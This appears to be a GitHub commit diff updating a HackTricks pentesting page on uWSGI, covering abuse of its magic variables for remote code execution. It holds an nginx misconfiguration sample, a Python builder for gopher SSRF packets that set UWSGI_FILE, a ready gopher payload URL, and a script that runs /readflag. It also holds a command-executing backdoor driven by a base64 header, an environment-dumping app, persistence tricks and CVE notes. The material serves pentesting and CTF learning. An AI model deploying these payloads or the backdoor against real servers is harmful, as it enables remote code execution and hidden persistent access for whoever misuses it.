Skip to content

Commit b6b9c99

Browse files
authored
Merge pull request #1525 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_wsgi_20251027_014302
Research Update Enhanced src/network-services-pentesting/pen...
2 parents 36ffb70 + 63b5ac7 commit b6b9c99

File tree

1 file changed

+95
-63
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+95
-63
lines changed

src/network-services-pentesting/pentesting-web/wsgi.md

Lines changed: 95 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -4,20 +4,47 @@
44

55
## WSGI Overview
66

7-
Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications.
7+
Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. Its native binary transport is the uwsgi protocol (lowercase) which carries a bag of key/value parameters ("uwsgi params") to the backend application server.
8+
9+
Related pages you may also want to check:
10+
11+
{{#ref}}
12+
werkzeug.md
13+
{{#endref}}
14+
15+
{{#ref}}
16+
../../pentesting-web/ssrf-server-side-request-forgery/README.md
17+
{{#endref}}
818

919
## uWSGI Magic Variables Exploitation
1020

11-
uWSGI provides special "magic variables" that can be used to dynamically configure the server behavior. These variables can be set through HTTP headers and may lead to serious security vulnerabilities when not properly validated.
21+
uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.
22+
23+
### Dangerous mappings in front proxies (nginx example)
24+
25+
Misconfigurations like the following directly expose uWSGI magic variables to user input:
26+
27+
```
28+
location /app/ {
29+
include uwsgi_params;
30+
# DANGEROUS: maps query args into uwsgi params
31+
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
32+
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
33+
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
34+
uwsgi_pass unix:/run/uwsgi/app.sock;
35+
}
36+
```
37+
38+
If the app or upload feature allows writing files under a predictable path, combining it with the mappings above usually results in immediate RCE when the backend loads the attacker-controlled file/module.
1239

1340
### Key Exploitable Variables
1441

15-
#### `UWSGI_FILE` - Arbitrary File Execution
42+
#### `UWSGI_FILE` - Arbitrary File Load/Execute
1643

1744
```
1845
uwsgi_param UWSGI_FILE /path/to/python/file.py;
1946
```
20-
This variable allows loading and executing arbitrary Python files as WSGI applications. If an attacker can control this parameter, they can achieve Remote Code Execution (RCE).
47+
Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE).
2148

2249
#### `UWSGI_SCRIPT` - Script Loading
2350
```
@@ -46,51 +73,66 @@ uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
4673
```
4774
Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.
4875

49-
#### `UWSGI_CHDIR` - Directory Traversal
76+
#### `UWSGI_CHDIR` - Directory Change
5077
```
5178
uwsgi_param UWSGI_CHDIR /etc/;
5279
```
53-
Changes the working directory before processing requests, which can be used for path traversal attacks.
80+
Changes the working directory before processing requests and may be combined with other features.
81+
82+
## SSRF + uwsgi protocol (gopher) pivot
5483

55-
## SSRF + Gopher to
84+
### Threat model
5685

57-
### The Attack Vector
86+
If the target web app exposes an SSRF primitive and the uWSGI instance listens on an internal TCP socket (for example, `socket = 127.0.0.1:3031`), you can talk the raw uwsgi protocol via gopher and inject uWSGI magic variables.
5887

59-
When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when:
88+
This is possible because many deployments use a non-HTTP uwsgi socket internally; the reverse proxy (nginx/Apache) translates client HTTP into the uwsgi param bag. With SSRF+gopher you can directly craft the uwsgi binary packet and set dangerous variables like `UWSGI_FILE`.
6089

61-
1. The application has SSRF vulnerabilities
62-
2. uWSGI is running on an internal port/socket
63-
3. The application doesn't properly validate magic variables
90+
### uWSGI protocol structure (quick reference)
6491

65-
uWSGI is accessible due to SSRF because the config file `uwsgi.ini` contains: `socket = 127.0.0.1:5000` making it accessible from the web application through SSRF.
92+
- Header (4 bytes): `modifier1` (1 byte), `datasize` (2 bytes little-endian), `modifier2` (1 byte)
93+
- Body: sequence of `[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]`
6694

67-
### Exploitation Example
95+
For standard requests `modifier1` is 0. The body contains uwsgi params such as `SERVER_PROTOCOL`, `REQUEST_METHOD`, `PATH_INFO`, `UWSGI_FILE`, etc. See the official protocol spec for full details.
96+
97+
### Minimal packet builder (generate gopher payload)
6898

69-
#### Step 1: Create Malicious Payload
70-
First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):
7199
```python
72-
# Payload injected into a JSON profile file
73-
import os
74-
os.system("/readflag > /app/profiles/result.json")
75-
```
100+
import struct, urllib.parse
76101

77-
#### Step 2: Craft uWSGI Protocol Request
78-
Use Gopher protocol to send raw uWSGI packets:
79-
```
102+
def uwsgi_gopher_url(host, port, params):
103+
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
104+
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
105+
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
106+
107+
# Example URL:
80108
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
81109
```
82110

83-
This payload:
84-
- Connects to uWSGI on port 5000
85-
- Sets `UWSGI_FILE` to point to the malicious file
86-
- Forces uWSGI to load and execute the Python code
111+
Example usage to force-load a file previously written on the server:
87112

88-
### uWSGI Protocol Structure
113+
```python
114+
params = {
115+
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
116+
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
117+
}
118+
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
119+
```
89120

90-
The uWSGI protocol uses a binary format where:
91-
- Variables are encoded as length-prefixed strings
92-
- Each variable has: `[name_length][name][value_length][value]`
93-
- The packet starts with a header containing the total size
121+
Send the generated URL through the SSRF sink.
122+
123+
### Worked example
124+
125+
If you can write a python file on disk (the extension doesn’t matter) with code like:
126+
```python
127+
# /app/profiles/malicious.py
128+
import os
129+
os.system('/readflag > /app/profiles/result.txt')
130+
131+
def application(environ, start_response):
132+
start_response('200 OK', [('Content-Type','text/plain')])
133+
return [b'ok']
134+
```
135+
Generate and trigger a gopher payload that sets `UWSGI_FILE` to this path. The backend will import and execute it as a WSGI app.
94136

95137
## Post-Exploitation Techniques
96138

@@ -99,67 +141,46 @@ The uWSGI protocol uses a binary format where:
99141
#### File-based Backdoor
100142
```python
101143
# backdoor.py
102-
import subprocess
103-
import base64
144+
import subprocess, base64
104145

105146
def application(environ, start_response):
106147
cmd = environ.get('HTTP_X_CMD', '')
107148
if cmd:
108149
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
109150
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
110151
else:
111-
response = "Backdoor active"
112-
152+
response = 'Backdoor active'
113153
start_response('200 OK', [('Content-Type', 'text/plain')])
114154
return [response.encode()]
115155
```
116-
117-
Then use `UWSGI_FILE` to load this backdoor:
118-
```
119-
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
120-
uwsgi_param SCRIPT_NAME /admin;
121-
```
156+
Load it with `UWSGI_FILE` and reach it under a chosen `SCRIPT_NAME`.
122157

123158
#### Environment-based Persistence
124159
```
125-
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
160+
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
126161
```
127162

128163
### 2. Information Disclosure
129164

130165
#### Environment Variable Dumping
131166
```python
132167
# env_dump.py
133-
import os
134-
import json
168+
import os, json
135169

136170
def application(environ, start_response):
137-
env_data = {
138-
'os_environ': dict(os.environ),
139-
'wsgi_environ': dict(environ)
140-
}
141-
171+
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
142172
start_response('200 OK', [('Content-Type', 'application/json')])
143173
return [json.dumps(env_data, indent=2).encode()]
144174
```
145175

146176
#### File System Access
147-
Use `UWSGI_CHDIR` combined with file serving to access sensitive files:
148-
```
149-
uwsgi_param UWSGI_CHDIR /etc/;
150-
uwsgi_param UWSGI_FILE /app/file_server.py;
151-
```
177+
Combine `UWSGI_CHDIR` with a file-serving helper to browse sensitive directories.
152178

153-
### 3. Privilege Escalation
179+
### 3. Privilege Escalation ideas
154180

155-
#### Socket Manipulation
156-
If uWSGI runs with elevated privileges, attackers might manipulate socket permissions:
157-
```
158-
uwsgi_param UWSGI_CHDIR /tmp;
159-
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
160-
```
181+
- If uWSGI runs with elevated privileges and writes sockets/pids owned by root, abusing env and directory changes may help you drop files with privileged owners or manipulate runtime state.
182+
- Overriding configuration via environment (`UWSGI_*`) inside a file loaded through `UWSGI_FILE` can affect process model and workers to make persistence stealthier.
161183

162-
#### Configuration Override
163184
```python
164185
# malicious_config.py
165186
import os
@@ -170,10 +191,21 @@ os.environ['UWSGI_PROCESSES'] = '1'
170191
os.environ['UWSGI_CHEAPER'] = '1'
171192
```
172193

194+
## Reverse-proxy desync issues relevant to uWSGI chains (recent)
195+
196+
Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
197+
198+
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.
199+
- CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
200+
201+
These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets.
202+
173203
## References
174204

175205
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
176206
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
177207
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
208+
- [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html)
209+
- [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html)
178210

179211
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)